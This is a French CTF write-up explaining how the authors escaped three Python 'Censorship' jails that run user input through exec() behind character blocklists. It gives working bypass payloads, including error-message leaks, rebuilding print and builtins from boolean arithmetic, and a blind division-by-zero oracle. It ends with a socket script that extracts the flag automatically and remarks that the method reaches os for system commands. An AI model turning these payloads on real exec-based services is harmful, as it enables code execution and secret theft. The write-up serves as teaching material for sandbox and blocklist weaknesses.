Du 15/07/2023 au 19/07/2023 s’est tenu l’AmateursCTF.
Même si nous ne cherchons pas à être compétitifs, c’est toujours amusant d’y jouer, parce qu’on y trouve des défis intéressants.
Dans ce CTF, une série de défis a retenu notre attention et nous avons voulu en partager la démarche.
Quels sont ces défis?
Il s’agit d’une série de 3 défis:
- Censorship
- Censorship Lite
- Censorship Lite++
C’est le même défi, avec de plus en plus de restrictions:
Nous sommes connectés à un environnement Python. Cet environnement charge un drapeau et notre but est de l’obtenir. Certains caractères sont toutefois interdits. Par chance, nous avons le code du serveur.
C’est intéressant, parce que ça nous oblige à comprendre l’environnement, nos possibilités et nos restrictions. Ça montre notamment la limite des listes noires de caractères ou de mots dans une application.
Le but de ce compte rendu n’est pas de donner la solution parfaite, mais d’expliquer un peu de Python à travers des défis amusants.
Censorship
I’ll let you run anything on my python program as long as you don’t try to print the flag or violate any of my other rules! Pesky CTFers…
Le code:
#!/usr/local/bin/python
from flag import flag
for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if "flag" in code or "e" in code or "t" in code or "\\" in code:
raise ValueError("invalid input")
exec(eval(code))
except Exception as err:
print(err)
Explication du code du serveur
Pour le premier, regardons le code de plus près.
Il commence par récupérer le drapeau au moyen d’un import.
from flag import flag
Cela signifie donc qu’il existe un fichier flag.py contenant une variable flag.
Puis une boucle for:
for _ in [flag]:
En fait, le seul but de cette ligne est de placer la valeur du drapeau dans la variable « _ ».
Dans cette boucle for se trouve un bloc:
while True:
try:
...
except Exception as err:
print(err)
Son but est d’exécuter le même code encore et encore. Les instructions try/except sont là pour empêcher la boucle de s’arrêter en cas d’erreur. Elles nous permettent aussi de lire l’erreur retournée.
Le code de cette boucle while commence par:
code = ascii(input("Give code: "))
Il nous demande une entrée (ici du code Python), échappe tous les caractères non ASCII avec la fonction ascii() et la range dans la variable code.
Vient ensuite un test sur la variable code ainsi produite:
if "flag" in code or "e" in code or "t" in code or "\\" in code:
raise ValueError("invalid input")
Il vérifie si notre entrée contient le mot flag, les lettres e ou t, ou n’importe quel caractère « non imprimable », saut de ligne, espace spécial, etc., grâce au \\ (tout caractère échappé par la fonction ascii()). Si l’un d’eux est trouvé, il lève une erreur et repart au début de la boucle while.
Et le dernier bout de code:
exec(eval(code))
Il commence par évaluer notre entrée avec eval(). Le but ici est uniquement de se débarrasser des guillemets simples (‘) que la fonction ascii() ajoute au début et à la fin de la chaîne produite.
Il exécute ensuite notre entrée avec exec().
Comment nous l’avons résolu
Ici, nous voulons seulement obtenir le drapeau. Par chance, il est rangé dans la variable _, que nous pouvons donc utiliser sans déclencher la liste noire.
Il n’y a pas de print() dans le code exécuté et nous ne pouvons rien afficher, puisque le caractère t est sur la liste noire. Une façon amusante de contourner ça est d’abuser des erreurs.
La plupart des erreurs Python se limitent au « type ».
Par exemple:
Certaines sont toutefois un peu plus bavardes:
![]()
Si nous trouvons donc un moyen de convertir _ en entier, l’erreur levée contiendra le drapeau. Et cette erreur nous sera affichée grâce à la fonction print du bloc Exception.
except Exception as err:
print(err)
Mais là encore, la liste noire nous limite. Pas de souci: en sachant comment Python fonctionne, nous pouvons nous frayer notre propre chemin jusqu’à int().
En Python, même s’il s’agit d’un « langage de script », (presque) tout est objet. int est donc en réalité une classe. Et quand nous appelons int(), nous créons une instance de la classe int.
Si nous créons donc un entier nommé x de valeur 1, il est par définition une instance de la classe int. Et tout objet possède, comme attribut, la classe dont il provient.
On l’obtient avec:
MyObject.__class__
Dans notre cas, nous voulons la classe int: en instanciant une variable comme entier, puis en récupérant son attribut __class__, nous pouvons convertir n’importe quoi en entier.
Nous ne pouvons pas exécuter plusieurs lignes de code, à cause du fonctionnement de la socket (un saut de ligne = fin de l’entrée) et aussi à cause de la fonction ascii(), qui échappe les caractères comme \n.
En Python, on peut cependant aussi utiliser le point-virgule (;) pour délimiter les lignes de code au lieu des sauts de ligne.
Nous pouvons donc instancier un entier, puis nous en servir pour convertir le drapeau.
x=1;x.__class__(_)
Et nous obtenons la valeur du drapeau.
![]()
Les concepteurs de défis nomment souvent leur drapeau d’après la solution attendue. Ici, on voit bien que ce n’est pas la voie prévue.
Quelle était la voie prévue?
En Python, il est possible de redéfinir une fonction.
Comme nous l’avons dit, presque tout est objet, même les fonctions!

Si nous avions un moyen d’obtenir print, nous pourrions donc instancier une fonction comme suit:
my_func = print
Ensuite, appeler **my_func()** reviendrait à appeler **print()**.
Mais si nous sommes capables d’accéder à print pour en placer la valeur dans une autre variable, nous devrions aussi être capables d’appeler print(). Nous ne voyons donc pas de cas où redéfinir une fonction serait utile.
Note: nous pourrions aussi essayer d’appeler eval() ou exec(), ou de redéfinir ascii(), mais la conclusion est la même.
Censorship Lite
There was clearly not enough censorship last time. This time it’s lite:tm:. I’m afraid now you’ll never get in to my system! Unfortunate for those pesky CTFers. Better social engineer an admin for the flag!!!!
Le code:
#!/usr/local/bin/python
from flag import flag
for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if any([i in code for i in "\lite0123456789"]):
raise ValueError("invalid input")
exec(eval(code))
except Exception as err:
print(err)
Comme le code est presque identique, seuls les caractères interdits changeant, passons directement à la solution.
La solution
Ici, notre solution précédente ne peut pas fonctionner, puisque le l est aussi sur la liste noire. Il est temps d’entrer un peu plus dans l’environnement Python.
Dans les builtins de Python, il y a 2 fonctions utiles: vars() et dir()!
En consultant la documentation Python, on peut lire ce que fait vars():
Return the __dict__ attribute for a module, class, instance, or any other object with a __dict__ attribute.
Le dictionnaire retourné a pour clé le nom de la variable (sous forme de chaîne) et pour valeur la variable elle-même. Appelée sans argument, vars() retourne les variables locales.
Dans un nouvel environnement Python, ça ressemble à ceci:
{‘__name__’: ‘__main__’, ‘__doc__’: None, ‘__package__’: None, ‘__loader__’: <class ‘_frozen_importlib.BuiltinImporter’>, ‘__spec__’: None, ‘__annotations__’: {}, ‘__builtins__’: <module ‘builtins’ (built-in)>}
Et dir() retourne une liste contenant les noms des variables locales. Dans le même environnement, ça ressemble à ceci:
[‘__annotations__’, ‘__builtins__’, ‘__doc__’, ‘__loader__’, ‘__name__’, ‘__package__’, ‘__spec__’]
Ici, nous ne pouvons pas utiliser dir(), à cause du i sur la liste noire.
Sans tenir compte de la liste noire, nous pourrions obtenir l’ensemble des builtins:
vars()[“__builtins__”]
Et dans ces builtins se trouve la fonction print:
BUILTINS = vars()["__builtins__"]
PRINT = vars(BUILTINS)["print"]
Il faut ensuite contourner la restriction sur les caractères. Pour cela, nous pouvons utiliser la fonction chr().
En lui donnant un code ASCII, elle retourne le caractère correspondant. Ici, les l, t et i de notre code sont interdits, alors nous n’utiliserons chr() que pour ceux-là.
BUILTINS = vars()["__bu" + chr(105) + chr(108) + chr(116) + chr(105) + "ns__"]
PRINT = vars(BUILTINS)["pr" + chr(105) + "n" + chr(116)]
Parfait, ça fonctionne dans mon environnement Python local, mais dans celui du défi les chiffres sont aussi sur la liste noire: nous ne pouvons donc pas obtenir un caractère à partir de sa valeur ASCII.
Ou peut-être que si?
Dans l’environnement fourni, il est facile d’obtenir une valeur booléenne, True ou False, avec de simples tests:
“” == “” #It’s True “a” == “” #It’s False
Et en consultant la documentation Python, on peut lire ceci:
The bool class is a subclass of int
Cela signifie qu’elle possède les mêmes méthodes qu’un entier. Et l’addition, la multiplication ou tout autre calcul est en fait une méthode. Par exemple, la méthode __add__ définit comment 2 variables peuvent être additionnées. (Vous pouvez en apprendre un peu plus là-dessus, toujours dans la documentation Python.)
On comprend facilement que True vaut 1 et False vaut 0.
Nous pouvons donc créer n’importe quel nombre. Pour que ce soit assez lisible, nous utilisons des lettres majuscules comme noms de variables pour les nombres de 0 à 10.
Z = "a" == "" #0
A = ""=="" #1
B = A+A #2
C = B+A #3
D = C+A #4
E = D+A #5
F = E+A #6
G = F+A #7
H = G+A #8
I = H+A #9
J = I+A #10
À partir de ces variables, nous pouvons facilement calculer n’importe quel nombre.
Dans notre cas, 105, 108 et 116 s’écrivent:
J*J + E #105 J*J + H #108 J*J + J + F #116
Parfait, nous pouvons maintenant écrire une solution:
Z="a"==""
A=""==""
B=A+A
C=B+A
D=C+A
E=D+A
F=E+A
G=F+A
H=G+A
I=H+A
J=I+A
BUILTINS=vars()["__bu" + chr(J*J+E) + chr(J*J+H) + chr(J*J+J+F) + chr(J*J+E) + "ns__"]
PRINT=vars(BUILTINS)["pr" + chr(J*J+E) + "n" + chr(J*J+J+F)]
PRINT(_)
Pour la compréhension, les ; de ce code sont remplacés par des sauts de ligne
![]()
Cette solution est en fait beaucoup plus complète que celle de Censorship, parce que nous ne nous limitons pas à afficher le drapeau. En obtenant le builtin __import__, nous pouvons importer n’importe quel module, comme os, ce qui permet d’exécuter des commandes système.
Une façon plus simple de faire
En réalité, pour les 2 premiers défis, une solution simple, très proche de celle de Censorship mais plus courte, fonctionne.
Elle abuse elle aussi de la verbosité des erreurs, non pas par conversion en int, mais avec le KeyError des dictionnaires. Si vous donnez à un dictionnaire une mauvaise clé, celle-ci apparaît dans l’erreur.
Exemple:

La solution suivante, en 5 caractères, fonctionne donc très bien:
{}[_]
Censorship Lite ++
I’ve gotten tired of everyone opening shells on my computer, so I’m increasing the size of the blocklist. I’m not sure how you got into the previous one, but you definitely can’t get into this one. (Flag format is amateursCTF{[a-zA-Z_]*}, for any CTFers looking to social engineer an admin for the flag).
Le code:
#!/usr/local/bin/python
from flag import flag
for _ in [flag]:
while True:
try:
code = ascii(input("Give code: "))
if any([i in code for i in "lite0123456789 :< :( ): :{ }: :*\ ,-."]):
print("invalid input")
continue
exec(eval(code))
except Exception as err:
print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
La solution
Dans ce troisième défi, nous avons encore plus de caractères sur la liste noire. Et parmi les plus utiles. Nous ne pouvons plus mettre d’espace, appeler de fonction (à cause des ( et )), obtenir de méthode ou d’attribut (à cause du .) ni créer de dictionnaire (à cause des { et }).
De plus, les erreurs ne sont plus affichées: nous ne verrons que zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.
Si, à première vue, on a l’impression de ne rien pouvoir faire, les personnes familières avec les injections SQL verront peut-être une solution. Il est en effet courant, en injection SQL, de se servir de la présence ou de l’absence d’erreur. C’est la base de ce qu’on appelle les injections SQL en aveugle.
Le but sera ici de vérifier chaque caractère du drapeau, un à un, et de provoquer une erreur quand c’est le bon caractère.
Une bonne façon de provoquer l’erreur est, encore une fois, d’utiliser le fait que `bool` est une sous-classe d’int. Nous allons nous en servir avec un peu de mathématiques! En faisant quelque chose comme ceci:
1 / my_boolean
Si le booléen vaut True, rien ne se passe; s’il vaut False, ça revient à diviser par zéro, ce qui est impossible, et une erreur est levée.
Dans notre cas, nous pouvons comparer les caractères du drapeau à un caractère donné. Si aucune erreur n’est levée, c’est le bon caractère.
Par exemple:
flag = "Test Flag"
1 / (flag[0]=="T") #The test is True so, no error
1 / (flag[0]=="?") #The test is False, an error is raised
Pour obtenir n’importe quel nombre, nous avons déjà la solution utilisée dans Censorship Lite, qui fonctionne toujours. Nos 2 problèmes ici sont:
- La priorité des calculs sur les tests en Python
- Comment obtenir n’importe quel caractère, même les caractères interdits?
En Python, les calculs sont toujours prioritaires sur les tests. Tout sera donc calculé avant le ==.
Dans notre exemple précédent, nous avons utilisé des parenthèses pour contourner ça, mais c’est impossible dans le défi.
Après réflexion, nous avons trouvé 2 solutions:
- Placer le résultat du test dans une variable avant de faire le calcul (il faut donc autant de variables que de tests)
- Utiliser des listes
Comme nous ne savons pas encore combien de tests nous ferons, nous allons utiliser (et expliquer) la seconde solution.
Si nous créons une liste contenant directement notre test, c’est comme si nous rangions le résultat du test:
[flag[0]==‘T’]
En récupérant la première (et unique) occurrence de cette liste, c’est comme si nous avions une simple variable:
1 / [flag[0]==‘T’][0]
Il ne nous reste qu’un problème: la liste noire de caractères. Nous ne pouvons pas nous contenter d’un drapeau auquel il manque des caractères, puisqu’il faudrait ensuite recourir à la force brute pour le compléter.
Par chance, le Python « original », celui qui est habituellement utilisé, est implémenté en C. Certaines propriétés du C ont donc été « traduites ». C’est le cas du formatage de chaînes.
En Python, il existe plusieurs façons d’insérer une variable dans une chaîne. Si le format avec {} est aujourd’hui préféré, l’ancienne façon est le formatage « à la C » avec %.
Le formatage de chaînes permet bien des choses, mais ce que nous voulons ici, c’est obtenir un seul caractère.
Pour cela, nous pouvons utiliser %c, dont la documentation dit:
An available integer presentation type (…): Character. Converts the integer to the corresponding unicode character before printing.
En lui donnant un entier, il crée donc un seul caractère ayant la valeur unicode (ici ASCII) correspondante.
Dans notre cas, nous pouvons donc faire:
char = '%c' % 116
et la variable char contiendra la lettre t.
Le problème de cette représentation, c’est que s’il y a un calcul immédiatement après le %, la première valeur est convertie avant que le calcul soit fait.
Exemple:

Nous devons faire le calcul pour forger l’entier voulu. Nous allons donc utiliser la même solution que pour le test.
char='%c'%[J*J+J+F][Z]
Maintenant que nous avons toutes les pièces du casse-tête, il faut les assembler pour créer un test sur le premier caractère du drapeau. Nous le connaissons déjà grâce au format du drapeau: a.
Z="a"==""
A=""==""
B=A+A
C=B+A
D=C+A
E=D+A
F=E+A
G=F+A
H=G+A
I=H+A
J=I+A
char="%c"%[J+J+J+J+J+J+J+J+J+G][Z]
A/[_[Z]==char][Z]
Pour la compréhension, les ; de ce code sont remplacés par des sauts de ligne
Aucune erreur n’est levée et, en changeant la valeur de char, une erreur apparaît.

Pour finir, il ne reste qu’à automatiser les tests caractère par caractère, avec le calcul des valeurs ASCII et des index.
Le code complet n’est pas très intéressant, alors nous n’entrerons pas dans les détails, mais le voici:
import socket
import time
server = "amt.rs"
port = 31672
s = socket.socket()
s.connect((server,port))
code_start = 'Z=""=="a";A=""=="";B=A+A;C=B+A;D=C+A;E=D+A;F=E+A;G=F+A;H=G+A;I=H+A;J=I+A;'
code_map = {0:"Z",
1:"A",
2:"B",
3:"C",
4:"D",
5:"E",
6:"F",
7:"G",
8:"H",
9:"I",
10:"J"
}
flag = ""
o = s.recv(4096).decode()
if o:
print("Connected to the server")
i=0
found=True
while found:
calculated_i = ""
if i//10 > 0:
for j in range(i//10):
calculated_i+="J+"
calculated_i += code_map[i%10]
found = False
for l in "abcdefghijklmnopqrstuvwxyz_CTF{}0123456789ABDEGHIJKLMNOPQRSUVWXYZ!-!?@+*:;":
to_get = ord(l)
letter_code = ""
for j in range(to_get//10):
letter_code += "J+"
letter_code += code_map[to_get%10]
print(flag+l,end="\r")
to_send = code_start + 'char="%c"%[' + letter_code +'][Z];A/[_[' + calculated_i + ']==char][Z]' + "\n"
s.send(to_send.encode())
time.sleep(0.1)
o = s.recv(4096)
if b"zzzzz" not in o:
flag += l
i+=1
found=True
break
print(flag + " ")
Et en l’exécutant, nous obtenons le troisième et dernier drapeau:
![]()
